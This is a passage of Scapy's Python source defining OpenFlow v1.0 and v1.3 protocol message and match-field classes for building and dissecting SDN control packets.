PacketField("data", None, Ether)] class OFPTFlowMod(_ofp_header): name = "OFPT_FLOW_MOD" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 14, ofp_type), ShortField("len", None), IntField("xid", 0), PacketField("match", OFPMatch(), OFPMatch), LongField("cookie", 0), ShortEnumField("cmd", 0, {0: "OFPFC_ADD", 1: "OFPFC_MODIFY", 2: "OFPFC_MODIFY_STRICT", 3: "OFPFC_DELETE", 4: "OFPFC_DELETE_STRICT"}), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), ShortField("priority", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), ShortEnumField("out_port", "NONE", ofp_port_no), FlagsField("flags", 0, 16, ["SEND_FLOW_REM", "CHECK_OVERLAP", "EMERG"]), PacketListField("actions", [], OFPAT, ofp_action_cls, length_from=lambda pkt:pkt.len - 72)] class OFPTPortMod(_ofp_header): name = "OFPT_PORT_MOD" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 15, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("port_no", 0, ofp_port_no), MACField("hw_addr", "0"), FlagsField("config", 0, 32, ofp_port_config), FlagsField("mask", 0, 32, ofp_port_config), FlagsField("advertise", 0, 32, ofp_port_features), IntField("pad", 0)] ##################################################### # OFPT_STATS # ##################################################### ofp_stats_types = {0: "OFPST_DESC", 1: "OFPST_FLOW", 2: "OFPST_AGGREGATE", 3: "OFPST_TABLE", 4: "OFPST_PORT", 5: "OFPST_QUEUE", 65535: "OFPST_VENDOR"} class OFPTStatsRequestDesc(_ofp_header): name = "OFPST_STATS_REQUEST_DESC" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 0, ofp_stats_types), FlagsField("flags", 0, 16, [])] class OFPTStatsReplyDesc(_ofp_header): name = "OFPST_STATS_REPLY_DESC" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 0, ofp_stats_types), FlagsField("flags", 0, 16, []), StrFixedLenField("mfr_desc", "", 256), StrFixedLenField("hw_desc", "", 256), StrFixedLenField("sw_desc", "", 256), StrFixedLenField("serial_num", "", 32), StrFixedLenField("dp_desc", "", 256)] class OFPTStatsRequestFlow(_ofp_header): name = "OFPST_STATS_REQUEST_FLOW" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 1, ofp_stats_types), FlagsField("flags", 0, 16, []), PacketField("match", OFPMatch(), OFPMatch), ByteEnumField("table_id", "ALL", ofp_table), ByteField("pad", 0), ShortEnumField("out_port", "NONE", ofp_port_no)] class OFPFlowStats(Packet): name = "OFP_FLOW_STATS" fields_desc = [ShortField("length", None), ByteField("table_id", 0), XByteField("pad1", 0), PacketField("match", OFPMatch(), OFPMatch), IntField("duration_sec", 0), IntField("duration_nsec", 0), ShortField("priority", 0), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), XBitField("pad2", 0, 48), LongField("cookie", 0), LongField("packet_count", 0), LongField("byte_count", 0), PacketListField("actions", [], OFPAT, ofp_action_cls, length_from=lambda pkt:pkt.length - 88)] def post_build(self, p, pay): if self.length is None: tmp_len = len(p) + len(pay) p = struct.pack("!H", tmp_len) + p[2:] return p + pay def extract_padding(self, s): return b"", s class OFPTStatsReplyFlow(_ofp_header): name = "OFPST_STATS_REPLY_FLOW" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 1, ofp_stats_types), FlagsField("flags", 0, 16, []), PacketListField("flow_stats", [], OFPFlowStats, length_from=lambda pkt:pkt.len - 12)] # noqa: E501 class OFPTStatsRequestAggregate(OFPTStatsRequestFlow): name = "OFPST_STATS_REQUEST_AGGREGATE" stats_type = 2 class OFPTStatsReplyAggregate(_ofp_header): name = "OFPST_STATS_REPLY_AGGREGATE" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 2, ofp_stats_types), FlagsField("flags", 0, 16, []), LongField("packet_count", 0), LongField("byte_count", 0), IntField("flow_count", 0), XIntField("pad", 0)] class OFPTStatsRequestTable(_ofp_header): name = "OFPST_STATS_REQUEST_TABLE" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 3, ofp_stats_types), FlagsField("flags", 0, 16, [])] class OFPTableStats(Packet): def extract_padding(self, s): return b"", s name = "OFP_TABLE_STATS" fields_desc = [ByteField("table_id", 0), X3BytesField("pad", 0), StrFixedLenField("name", "", 32), FlagsField("wildcards1", 0x003, 12, ["DL_VLAN_PCP", "NW_TOS"]), BitField("nw_dst_mask", 63, 6), # 32 would be enough BitField("nw_src_mask", 63, 6), FlagsField("wildcards2", 0xff, 8, ["IN_PORT", "DL_VLAN", "DL_SRC", "DL_DST", "DL_TYPE", "NW_PROTO", "TP_SRC", "TP_DST"]), IntField("max_entries", 0), IntField("active_count", 0), LongField("lookup_count", 0), LongField("matched_count", 0)] class OFPTStatsReplyTable(_ofp_header): name = "OFPST_STATS_REPLY_TABLE" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 3, ofp_stats_types), FlagsField("flags", 0, 16, []), PacketListField("table_stats", [], OFPTableStats, length_from=lambda pkt:pkt.len - 12)] class OFPTStatsRequestPort(_ofp_header): name = "OFPST_STATS_REQUEST_PORT" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 4, ofp_stats_types), FlagsField("flags", 0, 16, []), ShortEnumField("port_no", "NONE", ofp_port_no), XBitField("pad", 0, 48)] class OFPPortStats(Packet): def extract_padding(self, s): return b"", s name = "OFP_PORT_STATS" fields_desc = [ShortEnumField("port_no", 0, ofp_port_no), XBitField("pad", 0, 48), LongField("rx_packets", 0), LongField("tx_packets", 0), LongField("rx_bytes", 0), LongField("tx_bytes", 0), LongField("rx_dropped", 0), LongField("tx_dropped", 0), LongField("rx_errors", 0), LongField("tx_errors", 0), LongField("rx_frame_err", 0), LongField("rx_over_err", 0), LongField("rx_crc_err", 0), LongField("collisions", 0)] class OFPTStatsReplyPort(_ofp_header): name = "OFPST_STATS_REPLY_TABLE" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 4, ofp_stats_types), FlagsField("flags", 0, 16, []), PacketListField("port_stats", [], OFPPortStats, length_from=lambda pkt:pkt.len - 12)] class OFPTStatsRequestQueue(_ofp_header): name = "OFPST_STATS_REQUEST_QUEUE" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 5, ofp_stats_types), FlagsField("flags", 0, 16, []), ShortEnumField("port_no", "NONE", ofp_port_no), XShortField("pad", 0), IntEnumField("queue_id", "ALL", ofp_queue)] class OFPTStatsReplyQueue(_ofp_header): name = "OFPST_STATS_REPLY_QUEUE" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 5, ofp_stats_types), FlagsField("flags", 0, 16, []), ShortEnumField("port_no", "NONE", ofp_port_no), XShortField("pad", 0), IntEnumField("queue_id", "ALL", ofp_queue), LongField("tx_bytes", 0), LongField("tx_packets", 0), LongField("tx_errors", 0)] class OFPTStatsRequestVendor(_ofp_header): name = "OFPST_STATS_REQUEST_VENDOR" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 6, ofp_stats_types), FlagsField("flags", 0, 16, []), IntField("vendor", 0)] class OFPTStatsReplyVendor(_ofp_header): name = "OFPST_STATS_REPLY_VENDOR" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 6, ofp_stats_types), FlagsField("flags", 0, 16, []), IntField("vendor", 0)] # ofp_stats_request/reply_cls allows generic method OpenFlow() (end of script) # to choose the right class for dissection ofp_stats_request_cls = {0: OFPTStatsRequestDesc, 1: OFPTStatsRequestFlow, 2: OFPTStatsRequestAggregate, 3: OFPTStatsRequestTable, 4: OFPTStatsRequestPort, 5: OFPTStatsRequestQueue, 65535: OFPTStatsRequestVendor} ofp_stats_reply_cls = {0: OFPTStatsReplyDesc, 1: OFPTStatsReplyFlow, 2: OFPTStatsReplyAggregate, 3: OFPTStatsReplyTable, 4: OFPTStatsReplyPort, 5: OFPTStatsReplyQueue, 65535: OFPTStatsReplyVendor} # end of OFPT_STATS # class OFPTBarrierRequest(_ofp_header): name = "OFPT_BARRIER_REQUEST" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTBarrierReply(_ofp_header): name = "OFPT_BARRIER_REPLY" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTQueueGetConfigRequest(_ofp_header): name = "OFPT_QUEUE_GET_CONFIG_REQUEST" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 20, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("port", 0, ofp_port_no), XShortField("pad", 0)] class OFPTQueueGetConfigReply(_ofp_header): name = "OFPT_QUEUE_GET_CONFIG_REPLY" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 21, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("port", 0, ofp_port_no), XBitField("pad", 0, 48), PacketListField("queues", [], OFPPacketQueue, length_from=lambda pkt:pkt.len - 16)] # ofpt_cls allows generic method OpenFlow() to choose the right class for dissection # noqa: E501 ofpt_cls = {0: OFPTHello, # 1: OFPTError, 2: OFPTEchoRequest, 3: OFPTEchoReply, 4: OFPTVendor, 5: OFPTFeaturesRequest, 6: OFPTFeaturesReply, 7: OFPTGetConfigRequest, 8: OFPTGetConfigReply, 9: OFPTSetConfig, 10: OFPTPacketIn, 11: OFPTFlowRemoved, 12: OFPTPortStatus, 13: OFPTPacketOut, 14: OFPTFlowMod, 15: OFPTPortMod, # 16: OFPTStatsRequest, # 17: OFPTStatsReply, 18: OFPTBarrierRequest, 19: OFPTBarrierReply, 20: OFPTQueueGetConfigRequest, 21: OFPTQueueGetConfigReply} bind_bottom_up(TCP, OpenFlow, dport=6653) bind_bottom_up(TCP, OpenFlow, sport=6653) bind_bottom_up(TCP, OpenFlow, dport=6633) bind_bottom_up(TCP, OpenFlow, sport=6633) bind_top_down(TCP, _ofp_header, sport=6653, dport=6653) ================================================ FILE: scapy/contrib/openflow3.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) 2014 Maxence Tury """ OpenFlow v1.3.4 OpenFlow is an open standard used in SDN deployments. Specifications can be retrieved from https://www.opennetworking.org/ """ # scapy.contrib.description = OpenFlow v1.3 # scapy.contrib.status = loads import copy import struct from scapy.compat import orb, raw from scapy.config import conf from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ FieldLenField, FlagsField, IntEnumField, IntField, IPField, \ LongField, MACField, PacketField, PacketListField, ShortEnumField, \ ShortField, StrFixedLenField, X3BytesField, XBitField, XByteField, \ XIntField, XShortField, PacketLenField from scapy.layers.l2 import Ether from scapy.packet import Packet, Padding, Raw from scapy.contrib.openflow import _ofp_header, _ofp_header_item, \ OFPacketField, OpenFlow, _UnknownOpenFlow ##################################################### # Predefined values # ##################################################### ofp_port_no = {0xfffffff8: "IN_PORT", 0xfffffff9: "TABLE", 0xfffffffa: "NORMAL", 0xfffffffb: "FLOOD", 0xfffffffc: "ALL", 0xfffffffd: "CONTROLLER", 0xfffffffe: "LOCAL", 0xffffffff: "ANY"} ofp_group = {0xffffff00: "MAX", 0xfffffffc: "ALL", 0xffffffff: "ANY"} ofp_table = {0xfe: "MAX", 0xff: "ALL"} ofp_queue = {0xffffffff: "ALL"} ofp_meter = {0xffff0000: "MAX", 0xfffffffd: "SLOWPATH", 0xfffffffe: "CONTROLLER", 0xffffffff: "ALL"} ofp_buffer = {0xffffffff: "NO_BUFFER"} ofp_max_len = {0xffff: "NO_BUFFER"} ##################################################### # Common structures # ##################################################### # The following structures will be used in different types # of OpenFlow messages: ports, matches/OXMs, actions, # instructions, buckets, queues, meter bands. # Hello elements # ofp_hello_elem_types = {1: "OFPHET_VERSIONBITMAP"} class OFPHET(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_hello_elem_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPHETVersionBitmap(_ofp_header): name = "OFPHET_VERSIONBITMAP" fields_desc = [ShortEnumField("type", 1, ofp_hello_elem_types), ShortField("len", 8), FlagsField("bitmap", 0, 32, ["Type 0", "OFv1.0", "OFv1.1", "OFv1.2", "OFv1.3", "OFv1.4", "OFv1.5"])] ofp_hello_elem_cls = {1: OFPHETVersionBitmap} # Ports # ofp_port_config = ["PORT_DOWN", "NO_STP", # undefined in v1.3 "NO_RECV", "NO_RECV_STP", # undefined in v1.3 "NO_FLOOD", # undefined in v1.3 "NO_FWD", "NO_PACKET_IN"] ofp_port_state = ["LINK_DOWN", "BLOCKED", "LIVE"] ofp_port_features = ["10MB_HD", "10MB_FD", "100MB_HD", "100MB_FD", "1GB_HD", "1GB_FD", "10GB_FD", "40GB_FD", "100GB_FD", "1TB_FD", "OTHER", "COPPER", "FIBER", "AUTONEG", "PAUSE", "PAUSE_ASYM"] class OFPPort(Packet): name = "OFP_PHY_PORT" fields_desc = [IntEnumField("port_no", 0, ofp_port_no), XIntField("pad1", 0), MACField("hw_addr", "0"), XShortField("pad2", 0), StrFixedLenField("port_name", "", 16), FlagsField("config", 0, 32, ofp_port_config), FlagsField("state", 0, 32, ofp_port_state), FlagsField("curr", 0, 32, ofp_port_features), FlagsField("advertised", 0, 32, ofp_port_features), FlagsField("supported", 0, 32, ofp_port_features), FlagsField("peer", 0, 32, ofp_port_features), IntField("curr_speed", 0), IntField("max_speed", 0)] def extract_padding(self, s): return b"", s # Matches & OXMs # ofp_oxm_classes = {0: "OFPXMC_NXM_0", 1: "OFPXMC_NXM_1", 0x8000: "OFPXMC_OPENFLOW_BASIC", 0xffff: "OFPXMC_EXPERIMENTER"} ofp_oxm_names = {0: "OFB_IN_PORT", 1: "OFB_IN_PHY_PORT", 2: "OFB_METADATA", 3: "OFB_ETH_DST", 4: "OFB_ETH_SRC", 5: "OFB_ETH_TYPE", 6: "OFB_VLAN_VID", 7: "OFB_VLAN_PCP", 8: "OFB_IP_DSCP", 9: "OFB_IP_ECN", 10: "OFB_IP_PROTO", 11: "OFB_IPV4_SRC", 12: "OFB_IPV4_DST", 13: "OFB_TCP_SRC", 14: "OFB_TCP_DST", 15: "OFB_UDP_SRC", 16: "OFB_UDP_DST", 17: "OFB_SCTP_SRC", 18: "OFB_SCTP_DST", 19: "OFB_ICMPV4_TYPE", 20: "OFB_ICMPV4_CODE", 21: "OFB_ARP_OP", 22: "OFB_ARP_SPA", 23: "OFB_ARP_TPA", 24: "OFB_ARP_SHA", 25: "OFB_ARP_THA", 26: "OFB_IPV6_SRC", 27: "OFB_IPV6_DST", 28: "OFB_IPV6_FLABEL", 29: "OFB_ICMPV6_TYPE", 30: "OFB_ICMPV6_CODE", 31: "OFB_IPV6_ND_TARGET", 32: "OFB_IPV6_ND_SLL", 33: "OFB_IPV6_ND_TLL", 34: "OFB_MPLS_LABEL", 35: "OFB_MPLS_TC", 36: "OFB_MPLS_BOS", 37: "OFB_PBB_ISID", 38: "OFB_TUNNEL_ID", 39: "OFB_IPV6_EXTHDR"} ofp_oxm_constr = {0: ["OFBInPort", "in_port", 4], 1: ["OFBInPhyPort", "in_phy_port", 4], 2: ["OFBMetadata", "metadata", 8], 3: ["OFBEthDst", "eth_dst", 6], 4: ["OFBEthSrc", "eth_src", 6], 5: ["OFBEthType", "eth_type", 2], 6: ["OFBVLANVID", "vlan_vid", 2], 7: ["OFBVLANPCP", "vlan_pcp", 1], 8: ["OFBIPDSCP", "ip_dscp", 1], 9: ["OFBIPECN", "ip_ecn", 1], 10: ["OFBIPProto", "ip_proto", 1], 11: ["OFBIPv4Src", "ipv4_src", 4], 12: ["OFBIPv4Dst", "ipv4_dst", 4], 13: ["OFBTCPSrc", "tcp_src", 2], 14: ["OFBTCPDst", "tcp_dst", 2], 15: ["OFBUDPSrc", "udp_src", 2], 16: ["OFBUDPDst", "udp_dst", 2], 17: ["OFBSCTPSrc", "sctp_src", 2], 18: ["OFBSCTPDst", "sctp_dst", 2], 19: ["OFBICMPv4Type", "icmpv4_type", 1], 20: ["OFBICMPv4Code", "icmpv4_code", 1], 21: ["OFBARPOP", "arp_op", 2], 22: ["OFBARPSPA", "arp_spa", 4], 23: ["OFBARPTPA", "arp_tpa", 4], 24: ["OFBARPSHA", "arp_sha", 6], 25: ["OFBARPTHA", "arp_tha", 6], 26: ["OFBIPv6Src", "ipv6_src", 16], 27: ["OFBIPv6Dst", "ipv6_dst", 16], 28: ["OFBIPv6FLabel", "ipv6_flabel", 4], 29: ["OFBICMPv6Type", "icmpv6_type", 1], 30: ["OFBICMPv6Code", "icmpv6_code", 1], 31: ["OFBIPv6NDTarget", "ipv6_nd_target", 16], 32: ["OFBIPv6NDSLL", "ipv6_sll", 6], 33: ["OFBIPv6NDTLL", "ipv6_tll", 6], 34: ["OFBMPLSLabel", "mpls_label", 4], 35: ["OFBMPLSTC", "mpls_tc", 1], 36: ["OFBMPLSBoS", "mpls_bos", 1], 37: ["OFBPBBISID", "pbb_isid", 3], 38: ["OFBTunnelID", "tunnel_id", 8], 39: ["OFBIPv6ExtHdr", "ipv6_ext_hdr_flags", 2]} # the ipv6flags array is useful only to the OFBIPv6ExtHdr class ipv6flags = ["NONEXT", "ESP", "AUTH", "DEST", "FRAG", "ROUTER", "HOP", "UNREP", "UNSEQ"] # here we fill ofp_oxm_fields with the fields that will be used # to generate the various OXM classes # e.g. the call to add_ofp_oxm_fields(0, ["OFBInPort", "in_port", 4]) # will add {0: [ShortEnumField("class",..), BitEnumField("field",..),..]} ofp_oxm_fields = {} def add_ofp_oxm_fields(i, org): ofp_oxm_fields[i] = [ShortEnumField("class_", "OFPXMC_OPENFLOW_BASIC", ofp_oxm_classes), # noqa: E501 BitEnumField("field", i // 2, 7, ofp_oxm_names), BitField("hasmask", i % 2, 1)] ofp_oxm_fields[i].append(ByteField("len", org[2] + org[2] * (i % 2))) if i // 2 == 0: # OFBInPort ofp_oxm_fields[i].append(IntEnumField(org[1], 0, ofp_port_no)) elif i // 2 == 3 or i // 2 == 4: # OFBEthSrc & OFBEthDst ofp_oxm_fields[i].append(MACField(org[1], None)) elif i // 2 == 11 or i // 2 == 12: # OFBIPv4Src & OFBIPv4Dst ofp_oxm_fields[i].append(IPField(org[1], "0")) elif i // 2 == 39: # OFBIPv6ExtHdr ofp_oxm_fields[i].append(FlagsField(org[1], 0, 8 * org[2], ipv6flags)) else: ofp_oxm_fields[i].append(BitField(org[1], 0, 8 * org[2])) if i % 2: ofp_oxm_fields[i].append(BitField(org[1] + "_mask", 0, 8 * org[2])) # some HM classes are not supported par OFv1.3 but we will create them anyway for i, cls in ofp_oxm_constr.items(): add_ofp_oxm_fields(2 * i, cls) add_ofp_oxm_fields(2 * i + 1, cls) # now we create every OXM class with the same call, # (except that static variable create_oxm_class.i is each time different) # and we fill ofp_oxm_cls with them ofp_oxm_cls = {} ofp_oxm_id_cls = {} def _create_oxm_cls(): # static variable initialization if not hasattr(_create_oxm_cls, "i"): _create_oxm_cls.i = 0 index = _create_oxm_cls.i cls_name = ofp_oxm_constr[index // 4][0] # we create standard OXM then OXM ID then OXM with mask then OXM-hasmask ID if index % 4 == 2: cls_name += "HM" if index % 2: cls_name += "ID" oxm_name = ofp_oxm_names[index // 4] oxm_fields = ofp_oxm_fields[index // 2] # for ID classes we just want the first 4 fields (no payload) if index % 2: oxm_fields = oxm_fields[:4] cls = type(cls_name, (Packet,), {"name": oxm_name, "fields_desc": oxm_fields}) # noqa: E501 # the first call to special function type will create the same class as in # class OFBInPort(Packet): # def __init__(self): # self.name = "OFB_IN_PORT" # self.fields_desc = [ ShortEnumField("class", 0x8000, ofp_oxm_classes), # BitEnumField("field", 0, 7, ofp_oxm_names), # BitField("hasmask", 0, 1), # ByteField("len", 4), # IntEnumField("in_port", 0, ofp_port_no) ] if index % 2 == 0: ofp_oxm_cls[index // 2] = cls else: ofp_oxm_id_cls[index // 2] = cls _create_oxm_cls.i += 1 cls.extract_padding = lambda self, s: (b"", s) return cls OFBInPort = _create_oxm_cls() OFBInPortID = _create_oxm_cls() OFBInPortHM = _create_oxm_cls() OFBInPortHMID = _create_oxm_cls() OFBInPhyPort = _create_oxm_cls() OFBInPhyPortID = _create_oxm_cls() OFBInPhyPortHM = _create_oxm_cls() OFBInPhyPortHMID = _create_oxm_cls() OFBMetadata = _create_oxm_cls() OFBMetadataID = _create_oxm_cls() OFBMetadataHM = _create_oxm_cls() OFBMetadataHMID = _create_oxm_cls() OFBEthDst = _create_oxm_cls() OFBEthDstID = _create_oxm_cls() OFBEthDstHM = _create_oxm_cls() OFBEthDstHMID = _create_oxm_cls() OFBEthSrc = _create_oxm_cls() OFBEthSrcID = _create_oxm_cls() OFBEthSrcHM = _create_oxm_cls() OFBEthSrcHMID = _create_oxm_cls() OFBEthType = _create_oxm_cls() OFBEthTypeID = _create_oxm_cls() OFBEthTypeHM = _create_oxm_cls() OFBEthTypeHMID = _create_oxm_cls() OFBVLANVID = _create_oxm_cls() OFBVLANVIDID = _create_oxm_cls() OFBVLANVIDHM = _create_oxm_cls() OFBVLANVIDHMID = _create_oxm_cls() OFBVLANPCP = _create_oxm_cls() OFBVLANPCPID = _create_oxm_cls() OFBVLANPCPHM = _create_oxm_cls() OFBVLANPCPHMID = _create_oxm_cls() OFBIPDSCP = _create_oxm_cls() OFBIPDSCPID = _create_oxm_cls() OFBIPDSCPHM = _create_oxm_cls() OFBIPDSCPHMID = _create_oxm_cls() OFBIPECN = _create_oxm_cls() OFBIPECNID = _create_oxm_cls() OFBIPECNHM = _create_oxm_cls() OFBIPECNHMID = _create_oxm_cls() OFBIPProto = _create_oxm_cls() OFBIPProtoID = _create_oxm_cls() OFBIPProtoHM = _create_oxm_cls() OFBIPProtoHMID = _create_oxm_cls() OFBIPv4Src = _create_oxm_cls() OFBIPv4SrcID = _create_oxm_cls() OFBIPv4SrcHM = _create_oxm_cls() OFBIPv4SrcHMID = _create_oxm_cls() OFBIPv4Dst = _create_oxm_cls() OFBIPv4DstID = _create_oxm_cls() OFBIPv4DstHM = _create_oxm_cls() OFBIPv4DstHMID = _create_oxm_cls() OFBTCPSrc = _create_oxm_cls() OFBTCPSrcID = _create_oxm_cls() OFBTCPSrcHM = _create_oxm_cls() OFBTCPSrcHMID = _create_oxm_cls() OFBTCPDst = _create_oxm_cls() OFBTCPDstID = _create_oxm_cls() OFBTCPDstHM = _create_oxm_cls() OFBTCPDstHMID = _create_oxm_cls() OFBUDPSrc = _create_oxm_cls() OFBUDPSrcID = _create_oxm_cls() OFBUDPSrcHM = _create_oxm_cls() OFBUDPSrcHMID = _create_oxm_cls() OFBUDPDst = _create_oxm_cls() OFBUDPDstID = _create_oxm_cls() OFBUDPDstHM = _create_oxm_cls() OFBUDPDstHMID = _create_oxm_cls() OFBSCTPSrc = _create_oxm_cls() OFBSCTPSrcID = _create_oxm_cls() OFBSCTPSrcHM = _create_oxm_cls() OFBSCTPSrcHMID = _create_oxm_cls() OFBSCTPDst = _create_oxm_cls() OFBSCTPDstID = _create_oxm_cls() OFBSCTPDstHM = _create_oxm_cls() OFBSCTPDstHMID = _create_oxm_cls() OFBICMPv4Type = _create_oxm_cls() OFBICMPv4TypeID = _create_oxm_cls() OFBICMPv4TypeHM = _create_oxm_cls() OFBICMPv4TypeHMID = _create_oxm_cls() OFBICMPv4Code = _create_oxm_cls() OFBICMPv4CodeID = _create_oxm_cls() OFBICMPv4CodeHM = _create_oxm_cls() OFBICMPv4CodeHMID = _create_oxm_cls() OFBARPOP = _create_oxm_cls() OFBARPOPID = _create_oxm_cls() OFBARPOPHM = _create_oxm_cls() OFBARPOPHMID = _create_oxm_cls() OFBARPSPA = _create_oxm_cls() OFBARPSPAID = _create_oxm_cls() OFBARPSPAHM = _create_oxm_cls() OFBARPSPAHMID = _create_oxm_cls() OFBARPTPA = _create_oxm_cls() OFBARPTPAID = _create_oxm_cls() OFBARPTPAHM = _create_oxm_cls() OFBARPTPAHMID = _create_oxm_cls() OFBARPSHA = _create_oxm_cls() OFBARPSHAID = _create_oxm_cls() OFBARPSHAHM = _create_oxm_cls() OFBARPSHAHMID = _create_oxm_cls() OFBARPTHA = _create_oxm_cls() OFBARPTHAID = _create_oxm_cls() OFBARPTHAHM = _create_oxm_cls() OFBARPTHAHMID = _create_oxm_cls() OFBIPv6Src = _create_oxm_cls() OFBIPv6SrcID = _create_oxm_cls() OFBIPv6SrcHM = _create_oxm_cls() OFBIPv6SrcHMID = _create_oxm_cls() OFBIPv6Dst = _create_oxm_cls() OFBIPv6DstID = _create_oxm_cls() OFBIPv6DstHM = _create_oxm_cls() OFBIPv6DstHMID = _create_oxm_cls() OFBIPv6FLabel = _create_oxm_cls() OFBIPv6FLabelID = _create_oxm_cls() OFBIPv6FLabelHM = _create_oxm_cls() OFBIPv6FLabelHMID = _create_oxm_cls() OFBICMPv6Type = _create_oxm_cls() OFBICMPv6TypeID = _create_oxm_cls() OFBICMPv6TypeHM = _create_oxm_cls() OFBICMPv6TypeHMID = _create_oxm_cls() OFBICMPv6Code = _create_oxm_cls() OFBICMPv6CodeID = _create_oxm_cls() OFBICMPv6CodeHM = _create_oxm_cls() OFBICMPv6CodeHMID = _create_oxm_cls() OFBIPv6NDTarget = _create_oxm_cls() OFBIPv6NDTargetID = _create_oxm_cls() OFBIPv6NDTargetHM = _create_oxm_cls() OFBIPv6NDTargetHMID = _create_oxm_cls() OFBIPv6NDSLL = _create_oxm_cls() OFBIPv6NDSLLID = _create_oxm_cls() OFBIPv6NDSLLHM = _create_oxm_cls() OFBIPv6NDSLLHMID = _create_oxm_cls() OFBIPv6NDTLL = _create_oxm_cls() OFBIPv6NDTLLID = _create_oxm_cls() OFBIPv6NDTLLHM = _create_oxm_cls() OFBIPv6NDTLLHMID = _create_oxm_cls() OFBMPLSLabel = _create_oxm_cls() OFBMPLSLabelID = _create_oxm_cls() OFBMPLSLabelHM = _create_oxm_cls() OFBMPLSLabelHMID = _create_oxm_cls() OFBMPLSTC = _create_oxm_cls() OFBMPLSTCID = _create_oxm_cls() OFBMPLSTCHM = _create_oxm_cls() OFBMPLSTCHMID = _create_oxm_cls() OFBMPLSBoS = _create_oxm_cls() OFBMPLSBoSID = _create_oxm_cls() OFBMPLSBoSHM = _create_oxm_cls() OFBMPLSBoSHMID = _create_oxm_cls() OFBPBBISID = _create_oxm_cls() OFBPBBISIDID = _create_oxm_cls() OFBPBBISIDHM = _create_oxm_cls() OFBPBBISIDHMID = _create_oxm_cls() OFBTunnelID = _create_oxm_cls() OFBTunnelIDID = _create_oxm_cls() OFBTunnelIDHM = _create_oxm_cls() OFBTunnelIDHMID = _create_oxm_cls() OFBIPv6ExtHdr = _create_oxm_cls() OFBIPv6ExtHdrID = _create_oxm_cls() OFBIPv6ExtHdrHM = _create_oxm_cls() OFBIPv6ExtHdrHMID = _create_oxm_cls() # need_prereq holds a list of prerequisites defined in 7.2.3.8 of the specifications # noqa: E501 # e.g. if you want to use an OFBTCPSrc instance (code 26) # you first need to declare an OFBIPProto instance (code 20) with value 6, # and if you want to use an OFBIPProto instance (still code 20) # you first need to declare an OFBEthType instance (code 10) with value 0x0800 # (0x0800 means IPv4 by default, but you might want to use 0x86dd with IPv6) # need_prereq codes are two times higher than previous oxm classes codes, # except for 21 which is sort of a proxy for IPv6 (see below) need_prereq = {14: [12, 0x1000], 16: [10, 0x0800], # could be 0x86dd 18: [10, 0x0800], # could be 0x86dd 20: [10, 0x0800], # could be 0x86dd 21: [10, 0x86dd], 22: [10, 0x0800], 24: [10, 0x0800], 26: [20, 6], 28: [20, 6], 30: [20, 17], 32: [20, 17], 34: [20, 132], 36: [20, 132], 38: [20, 1], 40: [20, 1], 42: [10, 0x0806], 44: [10, 0x0806], 46: [10, 0x0806], 48: [10, 0x0806], 50: [10, 0x0806], 52: [10, 0x86dd], 54: [10, 0x86dd], 56: [10, 0x86dd], 58: [21, 58], # small trick here, we refer to normally non- 60: [21, 58], # existent field 21 to distinguish ipv6 62: [58, 135], # could be 136 64: [58, 135], 66: [58, 136], 68: [10, 0x8847], # could be 0x8848 70: [10, 0x8847], # could be 0x8848 72: [10, 0x8847], # could be 0x8848 74: [10, 0x88e7], 78: [10, 0x86dd]} class OXMPacketListField(PacketListField): 